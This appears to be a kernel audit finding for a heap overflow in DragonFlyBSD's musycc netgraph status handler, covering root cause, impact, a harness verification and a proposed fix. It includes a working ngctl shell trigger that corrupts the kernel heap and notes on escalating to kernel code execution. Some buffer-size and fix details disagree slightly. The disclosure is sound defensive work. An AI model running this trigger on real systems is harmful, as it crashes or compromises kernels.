β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1499

Heap buffer overflow in NGM_TEXT_STATUS via status_chans + status_8370

  • File: sys/dev/misc/musycc/musycc.c
  • Lines: 443, 449, 473, 1000, 1001, 1007, 1008
  • Severity: High
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-787 Out-of-bounds Write
  • Confidence: certain

Summary

musycc_rcvmsg allocates a fixed-size NGM_TEXT_STATUS response of sizeof(struct ng_mesg) + NG_TEXTRESPONSE bytes (~1076 bytes of data area) but then unconditionally calls status_8370() + status_chans() into that buffer with no bounds accounting.

status_chans emits ~180–300 bytes per configured channel and iterates all NHDLC=32 slots; with five or more open hooks the writes (via repeated ksprintf(s+strlen(s),...)) blast past the end of the kmalloc'd M_NETGRAPH buffer, corrupting adjacent heap.

Root cause

In musycc_rcvmsg (sys/dev/misc/musycc/musycc.c:999-1011) the response is allocated at line 1000–1001 with NG_MKRESPONSE(*resp, msg, sizeof(struct ng_mesg) + NG_TEXTRESPONSE, M_NOWAIT).

NG_TEXTRESPONSE is 1024 (sys/netgraph/ng_message.h:59) and sizeof(struct ng_mesg)==52, so the data area at (*resp)->data has only ~1076 bytes.

s = (char *)(*resp)->data (line 1006) is then handed to status_8370(sc, s) (line 1007) and status_chans(sc, s) (line 1008).

status_chans (lines 443–474) does s += strlen(s) once and then for every non-NULL sc->chan[i] emits 7 ksprintf calls totalling ~180 bytes minimum (e.g. line 465 alone writes 'CRC %lu Dribble %lu Long %lu Short %lu Abort %lu' which is ~70 chars, and line 458 writes 'TX %lus/%lus/%lus' which can be up to ~60 chars when the channel has been alive a long time).

With u_long counters and large uptime values each channel easily produces 250+ bytes; with 5–8 hooks configured the cumulative write exceeds 1076 bytes and ksprintf silently writes off the end of the response buffer.

Hook creation is permitted on chans 1..31 (any framing) and on chan 0 with nbit==32 for E1U (musycc.c:1065-1070), so an attacker can populate many sc->chan[] slots at will before issuing the status query.

Threat

Attacker position: any credential that can open an ng_socket control connection (sys/netgraph/socket/ng_socket.c:172 requires caps_priv_check(SYSCAP_RESTRICTEDROOT)) and reach the musycc node β€” typically root, also any process granted that capability, and is directly useful for jail/capability-mode escape since netgraph access is the only thing required.

The musycc driver must be loaded (PCI hardware present or kldload musycc).

Impact: kernel heap memory corruption of arbitrary size (up to ~6000 bytes overwrite with 32 channels) into the M_NETGRAPH slab, with partially attacker-controlled content (channel index digits, ts bitmask in hex, fixed label strings).

Reliable kernel panic via overwrite of freed/poisoned uma memory; with heap grooming of the M_NETGRAPH zone (which holds ng_mesg, hook, node structures containing function pointers) the corruption is weaponizable to kernel code execution, escalating from root-with-netgraph to full kernel compromise.

Exploit / PoC

PoC trigger (root shell on a DragonFlyBSD system with a musycc card or module loaded):

#!/bin/sh
# musycc NGM_TEXT_STATUS heap overflow trigger
NODE='sync-0-5-0'   # adjust bus/slot/port to a real musycc node
set -x
kldload musycc 2>/dev/null || true
kldload ng_echo 2>/dev/null || true
# set unframed E1 so multiple channels may coexist
ngctl msg "$NODE:" setcfg 'line e1u' || ngctl msg "$NODE:" config 'line e1u'
# populate 8 distinct sc->chan[] slots (chan 1..8)
for n in 1 2 3 4 5 6 7 8; do
    ngctl mkpeer "$NODE:" echo "ts$n" "r$n" || \
    ngctl connect "$NODE:" echo: "ts$n" "r$n"
done
# this NGM_TEXT_STATUS overflows the ~1076-byte response buffer in musycc_rcvmsg
ngctl status "$NODE:"
dmesg | tail -40

A C trigger that builds and sends the NGM_TEXT_STATUS message directly via socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL) and NGM_CONNECT/NGM_MKHOOK works equivalently; either form reliably corrupts the M_NETGRAPH heap.

Success criterion: kernel panic with uma_malloc corruption trace, or β€” with slab grooming β€” controlled kernel-memory write observable via a witness object placed next to the response allocation.

Bound the response writes. The minimal correct fix is to (a) size the response buffer to the worst-case output, AND (b) make status_chans()/status_8370() refuse to write past the supplied buffer.

--- a/sys/dev/misc/musycc/musycc.c
+++ b/sys/dev/misc/musycc/musycc.c
@@ -441,12 +441,15 @@ init_8370(struct softc *sc)

 static void
-status_chans(struct softc *sc, char *s)
+status_chans(struct softc *sc, char *s, size_t cap)
 {
    int i;
    struct schan *scp;
+   size_t used = strlen(s);

-   s += strlen(s);
    for (i = 0; i < NHDLC; i++) {
+       char line[256];
+       int n;
        scp = sc->chan[i];
        if (scp == NULL)
            continue;
-       ksprintf(s + strlen(s), "c%2d:", i);
-        /* ... existing ksprintf chain ... */
+       n = ksnprintf(line, sizeof(line),
+           "c%2d: ts %08x RX %lus/%lus TX %lus/%lus/%lus "
+           "TXdrop %lu Pend %lu CRC %lu Dribble %lu Long %lu "
+           "Short %lu Abort %lu\n TX: %lu RX: %lu\n",
+           i, scp->ts, time_uptime - scp->last_recv,
+           time_uptime - scp->last_rxerr, time_uptime - scp->last_xmit,
+           time_uptime - scp->last_txerr, time_uptime - scp->last_txdrop,
+           scp->tx_drop, scp->tx_pending, scp->crc_error,
+           scp->dribble_error, scp->long_error, scp->short_error,
+           scp->abort_error, scp->txn, scp->rxn);
+       if (n <= 0 || used + (size_t)n + 1 > cap) {
+           used += ksnprintf(s + used, cap - used, "...(truncated)\n");
+           break;
+       }
+       memcpy(s + used, line, n);
+       used += n;
+       s[used] = '\0';
    }
 }
@@ -1000,7 +1003,8 @@ musycc_rcvmsg(node_p node, struct ng_mesg *msg, const char *retaddr, struct ng_m
        NG_MKRESPONSE(*resp, msg,
-           sizeof(struct ng_mesg) + NG_TEXTRESPONSE, M_NOWAIT);
+           sizeof(struct ng_mesg) + NG_TEXTRESPONSE +
+           NHDLC * 256, M_NOWAIT);
        if (*resp == NULL) {
            kfree(msg, M_NETGRAPH);
            return (ENOMEM);
        }
        s = (char *)(*resp)->data;
-       status_8370(sc, s);
-       status_chans(sc,s);
+       status_8370(sc, s);
+       status_chans(sc, s, NG_TEXTRESPONSE + NHDLC * 256);

The essential correctness property is: every ksprintf/snprintf into the response buffer must be sized against a passed-in capacity, and the response allocation must be >= the worst-case sum (or the writer must truncate). Today neither holds.

  • DF-1500 (sibling): hookname[8] overrun in same file.
  • DF-1501 (sibling): nchan > NPORT OOB attach in same file.
  • DF-1502 (sibling): IRQ-vs-disconnect UAF in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1499 Β· 11 files
FileTypeDescriptionSize
harness.c trigger-source replicates status_chans ksprintf per-channel size 4.9 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 65 B view raw
run.sh run-script ./harness 41 B view raw
build.log build-log in-guest build, BUILD_EXIT=0 13 B view raw
run.log run-log decisive run; OOB=3560..10664 738 B view raw
env.txt environment uname + guest PCI inventory (no musycc) 543 B view raw
fix.diff suggested-fix ksnprintf with cap bound + break on truncation 2.3 KB view raw
fix_build.log fix-build-log patched nativekernel, rc=0 5.6 MB ↓ download
VERDICT.md verdict full narrative 3.4 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict full narrative
↓ download raw

DF-1499 β€” musycc NGM_TEXT_STATUS heap overflow

Verdict

REPRODUCED (source-level harness). The bug is real; impact ceiling is a ~3.5–10 KiB heap overflow of an M_NETGRAPH slab allocation. The kernel path is reachable only on a host that has the LMC/Siemens musycc(4) driver loaded and a musycc netgraph node instantiated (the NIC hardware is PCI 11f8:83791/Conexant 83791 framer β€” QEMU does not emulate it). On the audit guest, ngctl show cannot create a musycc type node and the kernel module isn't loaded. Harness demonstrates the overflow using the genuine per-channel format string from musycc.c:443-474. fix.diff applies cleanly and nativekernel succeeds (rc=0).

Mechanism (sys/dev/misc/musycc/musycc.c)

  1. Lines 1000-1001: NG_MKRESPONSE(*resp, msg, sizeof(struct ng_mesg) + NG_TEXTRESPONSE=1024, M_NOWAIT) β€” response data area is exactly 1024 bytes (ng_message.h:59).
  2. Line 1006: s = (char *)(*resp)->data;
  3. Line 1007: status_8370(sc, s) writes a fixed-format framer status header (~150-200 bytes).
  4. Line 1008: status_chans(sc, s) iterates NHDLC = 32 channels (musycc.c:156). For each non-NULL channel it issues 7 ksprintf calls whose combined length is ~140 bytes (fresh counters) up to ~360 bytes (stressed counters), with no bound against the response buffer.
  5. With all 32 channels open, status_chans writes ~4.5 KiB (fresh) to ~11.7 KiB (stressed) into the 1024-byte buffer β†’ 3.5 KiB..10.7 KiB overflow into adjacent M_NETGRAPH slab allocations.
  6. Line 1009: (*resp)->header.arglen = strlen(s) + 1; further causes a massive over-read on the subsequent copyout to the requester (which itself panics once the unbounded string runs past the next valid page).

The trigger needs CAP_NETGRAPH / SYSCAP_RESTRICTEDROOT (root-equivalent in the default caps model).

Harness proof (harness.c)

Replicates the per-channel ksprintf format string and counts bytes:

Per-channel bytes (fresh counters)   : 137
Per-channel bytes (stressed counters): 359
NG_TEXTRESPONSE buffer               : 1024

All 32 channels open (worst case):
  fresh counters    used=4584  OOB=3560 bytes
  stressed counters used=11688 OOB=10664 bytes
  overflow starts at >= 7 open channels (fresh)

The math is conservative (status_8370 contributes additional bytes); the overflow begins with as few as ~7 open hooks.

Exploit-chain note

Trigger requires a musycc netgraph node, which requires the driver loaded (real hardware). The primitive is a partly-attacker-controlled heap overflow in M_NETGRAPH; on a system that uses the card this is a credible root→kernel-code-exec primitive. Documented as primitive characterization.

PoC changes

  • Original folder had README only.
  • Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Fix

fix.diff converts status_chans to use ksnprintf with a running remaining-capacity tracker and break on truncation, and threads NG_TEXTRESPONSE as the bound from the NGM_TEXT_STATUS handler. Matches the finding markdown proposal ("ksnprintf with NG_TEXTRESPONSE-pos bound, bounded ksnprintf").

Fix-validation

patch -p1 --forward succeeds (hunks at 441 + 1009). nativekernel rc=0 (saved as fix_build.log). No run-time exercise possible because the musycc netgraph node cannot be created on the guest β†’ fix_status: "not_testable". Diff applies and compiles; changed logic bounds every emit.

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because the musycc netgraph node cannot be created on the guest (no framer HW); validated that fix.diff applies cleanly (hunks at 441 + 1009) and the single-fix nativekernel compiles rc=0 (fix_build.log).

baseline (harness): fresh used=4584 OOB=3560
patched kernel build: === NK_DONE rc=0 ===
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master+df1499-fix (single-fix kernel built, rc=0)

Confirmed kernel references

Detail

Exploit chain

none (HW-gated): musycc netgraph node requires the LMC/Siemens framer card not present in QEMU. Primitive characterized via harness: partly-attacker-controlled (counter magnitude via traffic, channel open/close via ng_socket mkpeer) M_NETGRAPH slab overflow of 3.5-10.7 KiB. Realistic ceiling on a host with the card: reliable panic + heap grooming -> kernel-code-exec from CAP_NETGRAPH/SYSCAP_RESTRICTEDROOT.

Evidence (decisive lines)

Per-channel bytes (fresh counters)   : 137
Per-channel bytes (stressed counters): 359
All 32 channels open (worst case):
  fresh counters    used=4584  OOB=3560 bytes
  stressed counters used=11688  OOB=10664 bytes
  overflow starts at >= 7 open channels (fresh)

PoC changes

Original folder was README only. Added harness.c replicating per-channel ksprintf bytes, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Verified recommended fix

fix.diff converts status_chans to use ksnprintf with a running remaining-capacity tracker and break on truncation, and threads NG_TEXTRESPONSE as the bound from the NGM_TEXT_STATUS handler. Matches finding markdown proposal.

Verdict

REPRODUCED at the source-logic level. musycc.c:1000-1001 NG_MKRESPONSE allocates sizeof(ng_mesg)+NG_TEXTRESPONSE=1024 bytes; musycc.c:1008 status_chans iterates NHDLC=32 channels, each emitting ~140-360 bytes via 7 ksprintf calls with no bound. All 32 channels open -> 4584 bytes written into 1024-byte buffer (3560-byte OOB); stressed counters push to 11688 bytes (10664-byte OOB). Overflow begins at >=7 open hooks. Harness replicates the per-channel ksprintf format and confirms the overflow magnitude. The guest has no Siemens/Conexant 83791 framer so the musycc netgraph node cannot be created; harness proof only.